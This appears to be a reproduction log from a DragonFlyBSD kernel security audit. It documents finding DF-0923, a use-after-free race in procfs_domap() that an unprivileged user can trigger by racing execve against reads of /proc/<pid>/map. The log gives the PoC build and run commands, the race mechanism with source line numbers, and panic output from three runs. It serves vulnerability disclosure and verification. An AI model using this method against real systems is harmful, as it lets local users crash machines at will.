DragonFlyBSD Kernel Audit
DF-0923 / run.log
← back to finding ↓ download raw
==== DF-0923 REPRODUCTION (default GENERIC #0, INVARIANTS ON) ====
PoC:    cc -O2 -o race_map race_map.c   ;   ./race_map [seconds] [nreaders]
Runner: maxx (uid 1001, NOT in wheel) -- unprivileged.

The racer forks a "victim" child that tight-loops execve(self, "--victim")
(replacing/freeing its vmspace via vmspace_exec()->vmspace_rel()), and N
"reader" children that tight-loop open()+read() of /proc/<victim>/map
(entering procfs_domap(), which caches map=&p->p_vmspace->vm_map WITHOUT
vmspace_hold, drops the vm_map read lock per iteration at procfs_map.c:142-143,
then re-locks the now-stale cached map at :230). The 4 KB read buffer is
deliberately small (see race_map.c comment) so the unrelated sbuf/malloc-limit
issue is not triggered, leaving the UAF as the only failure mode.

--------------------------------------------------------------------------------
Run 1 (25 s, 4 readers):
[parent] victim pid=933, spawning 4 readers, racing 25s
(ssh channel died ~at panic; RUN_EXIT never printed)
SSH_EXIT=124 (timeout -> guest panicked); guest status: down

--- serial console (dfbsd-qemu/boot.log) panic excerpt ---
login: Fatal user address access from kernel mode from race_map at ffffffff809a2540

Fatal trap 12: page fault while in kernel mode
cpuid = 5; lapic id = 5
fault virtual address     = 0x8
fault code                = supervisor read data, page not present
instruction pointer       = 0x8:0xffffffff809a2540
stack pointer             = 0x10:0xfffff80117a5f650
frame pointer             = 0x10:0xfffff80117a5f708
current process           = 935            <- a race_map reader
kernel: type 12 trap, code=0
Stopped at vm_map_rb_tree_RB_NEXT: movq 0x8(%rdi),%rax   <- RB_FOREACH through freed vm_map
db>

--------------------------------------------------------------------------------
Run 2 (fresh vm.sh reset with-src; identical #0 kernel; 25 s, 4 readers):
[parent] victim pid=852, spawning 4 readers, racing 25s
SSH_EXIT=124; guest down. IDENTICAL signature:
Stopped at vm_map_rb_tree_RB_NEXT: movq 0x8(%rdi),%rax  (ip=0xffffffff809a2540, proc=853 reader)

--------------------------------------------------------------------------------
Run 3 (fresh vm.sh reset with-src; small 4 KB buffer; 25 s, 4 readers):
[parent] victim pid=856, spawning 4 readers, racing 25s
SSH_EXIT=124; guest down. UAF panic reproduced with the small buffer too:
Fatal trap 12: page fault while in kernel mode
Stopped at vm_map_rb_tree_RB_NEXT: movq 0x8(%rdi),%rax

=> Deterministic, on-demand kernel panic from an unprivileged user.
   The fault is in vm_map_rb_tree_RB_NEXT (the RB_FOREACH at procfs_map.c:89)
   walking the freed/invalid cached map -- exactly the UAF the finding cites.